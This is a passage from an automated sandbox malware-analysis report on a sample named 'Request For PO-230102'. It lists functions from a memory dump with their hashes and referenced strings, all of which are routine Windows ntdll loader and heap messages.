                                                                                                                                                                                                            • Source File: 00000004.00000002.1394062903.0000000001570000.00000040.00001000.00020000.00000000.sdmp, Offset: 01570000, based on PE: true
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_4_2_1570000_Request For PO-230102.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID: ThreadPool: callback %p(%p) returned with a transaction uncleared$ThreadPool: callback %p(%p) returned with background priorities set$ThreadPool: callback %p(%p) returned with preferred languages set$ThreadPool: callback %p(%p) returned with the loader lock held
                                                                                                                                                                                                            • API String ID: 0-1468400865
                                                                                                                                                                                                            • Opcode ID: bfb35e05b06bef87eba0864c4813b3749242134e1d37a81b52484c4d81419f69
                                                                                                                                                                                                            • Instruction ID: 218e13f647e4866402be6c0ae333ac20cf2535a56aeb38f4c31df0680c333229
                                                                                                                                                                                                            • Opcode Fuzzy Hash: bfb35e05b06bef87eba0864c4813b3749242134e1d37a81b52484c4d81419f69
                                                                                                                                                                                                            • Instruction Fuzzy Hash: CB71C0B19043069FCB21DF18C884B9B7FE9BF99754F844469F9888F286D734D588CB92
                                                                                                                                                                                                            Function 015C245A Relevance: 5.1, Strings: 4, Instructions: 111COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            • apphelp.dll, xrefs: 015C2462
                                                                                                                                                                                                            • minkernel\ntdll\ldrinit.c, xrefs: 0160A9A2
                                                                                                                                                                                                            • Getting ApphelpCheckModule failed with status 0x%08lx, xrefs: 0160A992
                                                                                                                                                                                                            • LdrpDynamicShimModule, xrefs: 0160A998
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000004.00000002.1394062903.0000000001570000.00000040.00001000.00020000.00000000.sdmp, Offset: 01570000, based on PE: true
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_4_2_1570000_Request For PO-230102.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID: Getting ApphelpCheckModule failed with status 0x%08lx$LdrpDynamicShimModule$apphelp.dll$minkernel\ntdll\ldrinit.c
                                                                                                                                                                                                            • API String ID: 0-176724104
                                                                                                                                                                                                            • Opcode ID: 1fd6437b4458e27d2cbb8e91f75bc86b5ed9c9d455056f05d7bfb5d5efdf55bc
                                                                                                                                                                                                            • Instruction ID: 2375b99c124849885a5154be8cd810ff542f9e09fd8db5cda2bd906908186f34
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 1fd6437b4458e27d2cbb8e91f75bc86b5ed9c9d455056f05d7bfb5d5efdf55bc
                                                                                                                                                                                                            • Instruction Fuzzy Hash: B7312871610302ABDB369FEDDD85A6EB7B9FB80B44F16001DE9016F385C7705892C790
                                                                                                                                                                                                            Function 015B29A0 Relevance: 4.7, Strings: 3, Instructions: 966COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            • HEAP: , xrefs: 015B3264
                                                                                                                                                                                                            • HEAP[%wZ]: , xrefs: 015B3255
                                                                                                                                                                                                            • Unable to release memory at %p for %Ix bytes - Status == %x, xrefs: 015B327D
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000004.00000002.1394062903.0000000001570000.00000040.00001000.00020000.00000000.sdmp, Offset: 01570000, based on PE: true
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_4_2_1570000_Request For PO-230102.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID: HEAP: $HEAP[%wZ]: $Unable to release memory at %p for %Ix bytes - Status == %x
                                                                                                                                                                                                            • API String ID: 0-617086771
                                                                                                                                                                                                            • Opcode ID: b7a25ade2aeb49265009fa455005297e4063b9814768586b2a64b434f6c6e948
                                                                                                                                                                                                            • Instruction ID: cc8986532be024797f131071bf7b62554e83da0fb6607f40ce869ee215a02b67
                                                                                                                                                                                                            • Opcode Fuzzy Hash: b7a25ade2aeb49265009fa455005297e4063b9814768586b2a64b434f6c6e948
                                                                                                                                                                                                            • Instruction Fuzzy Hash: FF929A71A046499FDB25CF68C8847EEBBF1FF48300F188499E859AF291D735A945CF60
                                                                                                                                                                                                            Function 015B0770 Relevance: 4.2, Strings: 3, Instructions: 414COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000004.00000002.1394062903.0000000001570000.00000040.00001000.00020000.00000000.sdmp, Offset: 01570000, based on PE: true
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_4_2_1570000_Request For PO-230102.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID: (UCRBlock->Size >= *Size)$HEAP: $HEAP[%wZ]:
                                                                                                                                                                                                            • API String ID: 0-4253913091
                                                                                                                                                                                                            • Opcode ID: 63ae19da1c96fffb46d639f8815719ccaacd4d21bfdccb835705352dd1c63e9f
                                                                                                                                                                                                            • Instruction ID: 4144466f2eaa0450e39489336a0de35149c286bb65d26989d0c854ef16ae5673
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 63ae19da1c96fffb46d639f8815719ccaacd4d21bfdccb835705352dd1c63e9f
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 2AF17830A00606DFEB2ACF68C894BABB7F5FF44704F1485A9E5169B391D734A981CF91
                                                                                                                                                                                                            Function 015C6962 Relevance: 4.0, Strings: 2, Instructions: 1492COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000004.00000002.1394062903.0000000001570000.00000040.00001000.00020000.00000000.sdmp, Offset: 01570000, based on PE: true
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_4_2_1570000_Request For PO-230102.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: InitializeThunk
                                                                                                                                                                                                            • String ID: $@
                                                                                                                                                                                                            • API String ID: 2994545307-1077428164
                                                                                                                                                                                                            • Opcode ID: a4402739ccf5128ef30a0f87f727d7a60a17751f82a306fc6305f7ff46426195
                                                                                                                                                                                                            • Instruction ID: 2b552d2cf512e3a04d59eb3bedd4f9b897201497e2fa2a49e256a44c465e0325
                                                                                                                                                                                                            • Opcode Fuzzy Hash: a4402739ccf5128ef30a0f87f727d7a60a17751f82a306fc6305f7ff46426195
                                                                                                                                                                                                            • Instruction Fuzzy Hash: EEC28E716083419FD72ACF68C881BABBBE5BFC8B14F04896DE9898B341D774D905CB52
                                                                                                                                                                                                            Function 0159A197 Relevance: 4.0, Strings: 3, Instructions: 238COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000004.00000002.1394062903.0000000001570000.00000040.00001000.00020000.00000000.sdmp, Offset: 01570000, based on PE: true
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_4_2_1570000_Request For PO-230102.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID: FilterFullPath$UseFilter$\??\
                                                                                                                                                                                                            • API String ID: 0-2779062949
                                                                                                                                                                                                            • Opcode ID: fa96f6e1a8a591a0449cf534bf84bf0cf240d2904cdffcdb3cf770b675842ee7
                                                                                                                                                                                                            • Instruction ID: 994a23e8e7f9a7618b783e989dd0058f52ad67dbeadc075fbd0bdb6b81baab2c
                                                                                                                                                                                                            • Opcode Fuzzy Hash: fa96f6e1a8a591a0449cf534bf84bf0cf240d2904cdffcdb3cf770b675842ee7
                                                                                                                                                                                                            • Instruction Fuzzy Hash: A0A14B7591162A9BDF319F68CC88BAEB7B8FF44700F1041E9DA09AB250E7359E84CF50
                                                                                                                                                                                                            Function 015C0BCB Relevance: 4.0, Strings: 3, Instructions: 210COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            • minkernel\ntdll\ldrinit.c, xrefs: 0160A121
                                                                                                                                                                                                            • Failed to allocated memory for shimmed module list, xrefs: 0160A10F
                                                                                                                                                                                                            • LdrpCheckModule, xrefs: 0160A117
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000004.00000002.1394062903.0000000001570000.00000040.00001000.00020000.00000000.sdmp, Offset: 01570000, based on PE: true
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_4_2_1570000_Request For PO-230102.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID: Failed to allocated memory for shimmed module list$LdrpCheckModule$minkernel\ntdll\ldrinit.c
                                                                                                                                                                                                            • API String ID: 0-161242083
                                                                                                                                                                                                            • Opcode ID: 74fc4855f08eae96ce7c19236a405de759b19a901489591e53c9bd0397835093
                                                                                                                                                                                                            • Instruction ID: 1ab411b29e7713152905089d03af22332a38f4ef9938795809792b0ba7482769
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 74fc4855f08eae96ce7c19236a405de759b19a901489591e53c9bd0397835093
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 0A71BE75A00306DFDB2ADFA8CD85ABEB7F4FB84604F14446DE912AB391E734A941CB50
                                                                                                                                                                                                            Function 015B0A5B Relevance: 3.9, Strings: 3, Instructions: 190COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000004.00000002.1394062903.0000000001570000.00000040.00001000.00020000.00000000.sdmp, Offset: 01570000, based on PE: true
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_4_2_1570000_Request For PO-230102.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID: ((PHEAP_ENTRY)LastKnownEntry <= Entry)$HEAP: $HEAP[%wZ]:
                                                                                                                                                                                                            • API String ID: 0-1334570610
                                                                                                                                                                                                            • Opcode ID: 2c939e09984470785bc654750182346d7c0a79d05ae21be2c89d59ed56aa7a7f
                                                                                                                                                                                                            • Instruction ID: 7e5460b3be8e3ed3f1d1a6537adb136339439f57e9b0d45fcd23bfc45de055e2
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 2c939e09984470785bc654750182346d7c0a79d05ae21be2c89d59ed56aa7a7f
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 4D619E716003069FDB29CF28D880BABBBF5FF45704F148959E45A8F292D7B0E881CB95
                                                                                                                                                                                                            Function 015DC720 Relevance: 3.9, Strings: 3, Instructions: 141COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            • LdrpInitializePerUserWindowsDirectory, xrefs: 016182DE
                                                                                                                                                                                                            • minkernel\ntdll\ldrinit.c, xrefs: 016182E8
                                                                                                                                                                                                            • Failed to reallocate the system dirs string !, xrefs: 016182D7
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000004.00000002.1394062903.0000000001570000.00000040.00001000.00020000.00000000.sdmp, Offset: 01570000, based on PE: true
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_4_2_1570000_Request For PO-230102.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID: Failed to reallocate the system dirs string !$LdrpInitializePerUserWindowsDirectory$minkernel\ntdll\ldrinit.c
                                                                                                                                                                                                            • API String ID: 0-1783798831
                                                                                                                                                                                                            • Opcode ID: 4bab97c1d1ee8a7ba6c7385f60b6bfd8770ff7988f2f6bdbd5ed923070d7ad6e
                                                                                                                                                                                                            • Instruction ID: bc9878863b2af4399c441570474a139eff8628fda70c8778e01b1286979ce0d7
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 4bab97c1d1ee8a7ba6c7385f60b6bfd8770ff7988f2f6bdbd5ed923070d7ad6e
                                                                                                                                                                                                            • Instruction Fuzzy Hash: F841BF71551312ABCB31EF69DC84B5B77ECBF88650F05492EB948DB294E770E810CB92
                                                                                                                                                                                                            Function 0165C188 Relevance: 3.9, Strings: 3, Instructions: 123COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            • PreferredUILanguages, xrefs: 0165C212
                                                                                                                                                                                                            • \Registry\Machine\System\CurrentControlSet\Control\MUI\Settings, xrefs: 0165C1C5
                                                                                                                                                                                                            • @, xrefs: 0165C1F1
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000004.00000002.1394062903.0000000001570000.00000040.00001000.00020000.00000000.sdmp, Offset: 01570000, based on PE: true
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_4_2_1570000_Request For PO-230102.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID: @$PreferredUILanguages$\Registry\Machine\System\CurrentControlSet\Control\MUI\Settings
                                                                                                                                                                                                            • API String ID: 0-2968386058
                                                                                                                                                                                                            • Opcode ID: 2456875319e214b47dcb926c6b46ab439e8075f2c6570f3ce656f9946a6756e5
                                                                                                                                                                                                            • Instruction ID: b2c93ff6ea3b8c83dcbebc3dcf9b958b024f181c78175e32679a287affd448a6
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 2456875319e214b47dcb926c6b46ab439e8075f2c6570f3ce656f9946a6756e5
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 10417071E0030AEBDF55DAD8CC91BEEBBBCBB54744F14806AEA09B7240D7749A448B90
                                                                                                                                                                                                            Function 01634144 Relevance: 3.9, Strings: 3, Instructions: 121COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000004.00000002.1394062903.0000000001570000.00000040.00001000.00020000.00000000.sdmp, Offset: 01570000, based on PE: true
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_4_2_1570000_Request For PO-230102.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID: @$LdrpResValidateFilePath Enter$LdrpResValidateFilePath Exit
                                                                                                                                                                                                            • API String ID: 0-1373925480
                                                                                                                                                                                                            • Opcode ID: 6831df71530d5ab50ff053ba2c354045e53dcc3e80aa9ed703295a9668d856a2
                                                                                                                                                                                                            • Instruction ID: 974da090420c15ad89fbc14ead1811cb92100df0ceb410ba7f8c3adadcf38e7f
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 6831df71530d5ab50ff053ba2c354045e53dcc3e80aa9ed703295a9668d856a2
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 1341CF32A006598FEB26DBA9CC44BADFBB9FF95340F14045AD901BF791DB758901CB50
                                                                                                                                                                                                            Function 01624755 Relevance: 3.9, Strings: 3, Instructions: 121COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            • Import Redirection: %wZ %wZ!%s redirected to %wZ, xrefs: 01624888
                                                                                                                                                                                                            • LdrpCheckRedirection, xrefs: 0162488F
                                                                                                                                                                                                            • minkernel\ntdll\ldrredirect.c, xrefs: 01624899
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000004.00000002.1394062903.0000000001570000.00000040.00001000.00020000.00000000.sdmp, Offset: 01570000, based on PE: true
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_4_2_1570000_Request For PO-230102.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID: Import Redirection: %wZ %wZ!%s redirected to %wZ$LdrpCheckRedirection$minkernel\ntdll\ldrredirect.c
                                                                                                                                                                                                            • API String ID: 0-3154609507
                                                                                                                                                                                                            • Opcode ID: a7a49ee4160ccab096bb75be9b7b168026cfef67af1791fe96862da941a42a0a
                                                                                                                                                                                                            • Instruction ID: 30fdcd8ba1ef0d45ad7478fefecd4a439ff92a2604a535574f10bb9a30a07fc8
                                                                                                                                                                                                            • Opcode Fuzzy Hash: a7a49ee4160ccab096bb75be9b7b168026cfef67af1791fe96862da941a42a0a
                                                                                                                                                                                                            • Instruction Fuzzy Hash: BD41CF32A14B719BCB21CF68DC40A267BE9BF49B90B06056DED99DB351DB74D800CF91
                                                                                                                                                                                                            Function 015B0BBE Relevance: 3.8, Strings: 3, Instructions: 70COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000004.00000002.1394062903.0000000001570000.00000040.00001000.00020000.00000000.sdmp, Offset: 01570000, based on PE: true
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_4_2_1570000_Request For PO-230102.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID: (ROUND_UP_TO_POWER2(Size, PAGE_SIZE) == Size)$HEAP: $HEAP[%wZ]:
                                                                                                                                                                                                            • API String ID: 0-2558761708
                                                                                                                                                                                                            • Opcode ID: 3dd17c5f007d688c5917f5a8846d13839c8e721569a95ea58629f28e1c0759a2
                                                                                                                                                                                                            • Instruction ID: 3295c400d32c755ead8073b88f114a50807e39d0572a72e34ca5ec070d8f01b0
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 3dd17c5f007d688c5917f5a8846d13839c8e721569a95ea58629f28e1c0759a2
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 2F11CD313261029FDB2ECA18D885BBBB3A5BF40B16F198169F4068F291DB34D841CB55
                                                                                                                                                                                                            Function 016220DE Relevance: 3.8, Strings: 3, Instructions: 41COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            • Process initialization failed with status 0x%08lx, xrefs: 016220F3
                                                                                                                                                                                                            • minkernel\ntdll\ldrinit.c, xrefs: 01622104
                                                                                                                                                                                                            • LdrpInitializationFailure, xrefs: 016220FA
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000004.00000002.1394062903.0000000001570000.00000040.00001000.00020000.00000000.sdmp, Offset: 01570000, based on PE: true
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_4_2_1570000_Request For PO-230102.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID: LdrpInitializationFailure$Process initialization failed with status 0x%08lx$minkernel\ntdll\ldrinit.c
                                                                                                                                                                                                            • API String ID: 0-2986994758
                                                                                                                                                                                                            • Opcode ID: 9d143a6c6fa914ee332bf7aa93f854caae9a2eb12e76a9afd4769685983d17bb
                                                                                                                                                                                                            • Instruction ID: 219c2f44e49734ab5a2b7ca7e89c7859ac03b509d44dbe4221a1e6693f6c7a72
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 9d143a6c6fa914ee332bf7aa93f854caae9a2eb12e76a9afd4769685983d17bb
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 99F0AF75640719ABEB24EA4C9C5AFA93BADFB40A54F20005DFB007B785D2A0A950CA95
                                                                                                                                                                                                            Function 015B03E9 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 184COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000004.00000002.1394062903.0000000001570000.00000040.00001000.00020000.00000000.sdmp, Offset: 01570000, based on PE: true
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_4_2_1570000_Request For PO-230102.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: ___swprintf_l
                                                                                                                                                                                                            • String ID: #%u
                                                                                                                                                                                                            • API String ID: 48624451-232158463
                                                                                                                                                                                                            • Opcode ID: af626a1fd48ce93b38a356019019b7bb8dd27961d32e0bece709f56fb2dded21
                                                                                                                                                                                                            • Instruction ID: e556e5e67d44f6aa9b70610324a4a6dcc02c878bf4333edfc40386924285a7e4
                                                                                                                                                                                                            • Opcode Fuzzy Hash: af626a1fd48ce93b38a356019019b7bb8dd27961d32e0bece709f56fb2dded21
                                                                                                                                                                                                            • Instruction Fuzzy Hash: A7713C71A0014A9FDB15DFA8CD94BAEB7F8BF48744F144465EA05EB291EB38ED01CB60
                                                                                                                                                                                                            Function 015AA9D0 Relevance: 2.9, Strings: 2, Instructions: 421COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            • LdrResSearchResource Exit, xrefs: 015AAA25
                                                                                                                                                                                                            • LdrResSearchResource Enter, xrefs: 015AAA13
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000004.00000002.1394062903.0000000001570000.00000040.00001000.00020000.00000000.sdmp, Offset: 01570000, based on PE: true
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_4_2_1570000_Request For PO-230102.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID: LdrResSearchResource Enter$LdrResSearchResource Exit
                                                                                                                                                                                                            • API String ID: 0-4066393604
                                                                                                                                                                                                            • Opcode ID: e468e5e84bf198e212ac96c2ff69509ae08fd57aa65c09cd774ecdb172874588
                                                                                                                                                                                                            • Instruction ID: 65fab12d54d92ce3846a06434e626d4d650bb68de38b74e0fc7d0bbb1b624063
                                                                                                                                                                                                            • Opcode Fuzzy Hash: e468e5e84bf198e212ac96c2ff69509ae08fd57aa65c09cd774ecdb172874588
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 58E19171E802199FEB26CF9DCD94BAEBBB9BF48350F50442AE901EB381D7749941CB50
                                                                                                                                                                                                            Function 0166A352 Relevance: 2.8, Strings: 2, Instructions: 348COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000004.00000002.1394062903.0000000001570000.00000040.00001000.00020000.00000000.sdmp, Offset: 01570000, based on PE: true
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_4_2_1570000_Request For PO-230102.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID: `$`
                                                                                                                                                                                                            • API String ID: 0-197956300
                                                                                                                                                                                                            • Opcode ID: f14427897cfa9f2fff493575096aafbbc27a418cd5181fa4476e78ff72e31fcd
                                                                                                                                                                                                            • Instruction ID: c34e93c28dd7446cfdc7954f0ed0c26b322c9d1f2ac0511681b8124322370655
                                                                                                                                                                                                            • Opcode Fuzzy Hash: f14427897cfa9f2fff493575096aafbbc27a418cd5181fa4476e78ff72e31fcd
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 0EC1BE312043429BE724CF68CC41B6BBBE9AFD4318F084A2DF696EB291D775D905CB91
                                                                                                                                                                                                            Function 0161E6F2 Relevance: 2.7, Strings: 2, Instructions: 179COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000004.00000002.1394062903.0000000001570000.00000040.00001000.00020000.00000000.sdmp, Offset: 01570000, based on PE: true
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_4_2_1570000_Request For PO-230102.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: InitializeThunk
                                                                                                                                                                                                            • String ID: Legacy$UEFI
                                                                                                                                                                                                            • API String ID: 2994545307-634100481
                                                                                                                                                                                                            • Opcode ID: 758d896da85da9fde24489c62da70637f9f1ff2f8202fb590a772a2890ef2982
                                                                                                                                                                                                            • Instruction ID: 2444766cc0fff04f8b78dd86111f67850dad79e257980ede947b767793315bf2
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 758d896da85da9fde24489c62da70637f9f1ff2f8202fb590a772a2890ef2982
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 48616D71E006099FEB15DFA8CC80BADBBB5FB48700F19446EEA49EB255D732E941CB50
                                                                                                                                                                                                            Function 016443D4 Relevance: 2.7, Strings: 2, Instructions: 169COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000004.00000002.1394062903.0000000001570000.00000040.00001000.00020000.00000000.sdmp, Offset: 01570000, based on PE: true
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_4_2_1570000_Request For PO-230102.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID: @$MUI
                                                                                                                                                                                                            • API String ID: 0-17815947
                                                                                                                                                                                                            • Opcode ID: e2816eb86be2d7bf3cde7814991aba70da521b365de9f7ecc9212e6d40eaaafb
                                                                                                                                                                                                            • Instruction ID: 2fbea7d755f02d9904bf2bf9186370783a22a956c1b2c082d8c3f50aba343a57
                                                                                                                                                                                                            • Opcode Fuzzy Hash: e2816eb86be2d7bf3cde7814991aba70da521b365de9f7ecc9212e6d40eaaafb
                                                                                                                                                                                                            • Instruction Fuzzy Hash: B2510771E0021EAFDF15DFA9CC85BEEBBBCFB44654F100529E615BB290DB7099058BA0
                                                                                                                                                                                                            Function 015A04E5 Relevance: 2.7, Strings: 2, Instructions: 153COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            • kLsE, xrefs: 015A0540
                                                                                                                                                                                                            • TerminalServices-RemoteConnectionManager-AllowAppServerMode, xrefs: 015A063D
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000004.00000002.1394062903.0000000001570000.00000040.00001000.00020000.00000000.sdmp, Offset: 01570000, based on PE: true
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_4_2_1570000_Request For PO-230102.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID: TerminalServices-RemoteConnectionManager-AllowAppServerMode$kLsE
                                                                                                                                                                                                            • API String ID: 0-2547482624
                                                                                                                                                                                                            • Opcode ID: 1a6503ce8631f4e391d74a35b00973b76fa4d4d409ab8679a9d41fd57058375d
                                                                                                                                                                                                            • Instruction ID: ded9aa301f4ad4ecef74ea096550d3d4919d8c7de61d1a78175052092aa785fd
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 1a6503ce8631f4e391d74a35b00973b76fa4d4d409ab8679a9d41fd57058375d
                                                                                                                                                                                                            • Instruction Fuzzy Hash: D4519F715647428FD724EF68C5406ABBBE4BF85304F50483EE6DA8B281E770E545CB92
                                                                                                                                                                                                            Function 015AA2C3 Relevance: 2.6, Strings: 2, Instructions: 118COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            • RtlpResUltimateFallbackInfo Exit, xrefs: 015AA309
                                                                                                                                                                                                            • RtlpResUltimateFallbackInfo Enter, xrefs: 015AA2FB
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000004.00000002.1394062903.0000000001570000.00000040.00001000.00020000.00000000.sdmp, Offset: 01570000, based on PE: true
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_4_2_1570000_Request For PO-230102.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID: RtlpResUltimateFallbackInfo Enter$RtlpResUltimateFallbackInfo Exit
                                                                                                                                                                                                            • API String ID: 0-2876891731
                                                                                                                                                                                                            • Opcode ID: 4343daf7f0991d8acba20368a6ebb35d9e6fb51e68ff39c39b73ccade2208d11
                                                                                                                                                                                                            • Instruction ID: c2caeaa774fedf8cb83946709b0add43b7f7217a057de71f32ea18ce461500a0
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 4343daf7f0991d8acba20368a6ebb35d9e6fb51e68ff39c39b73ccade2208d11
                                                                                                                                                                                                            • Instruction Fuzzy Hash: EC418B30A44A55DBEB168F69D894B6EBBF4FF84704F1444AAE900DF391E3B5D900CB50
                                                                                                                                                                                                            Function 015DA5D0 Relevance: 2.5, Strings: 2, Instructions: 38COMMON
                                                                                                                                                                                                            Download Yara Rule
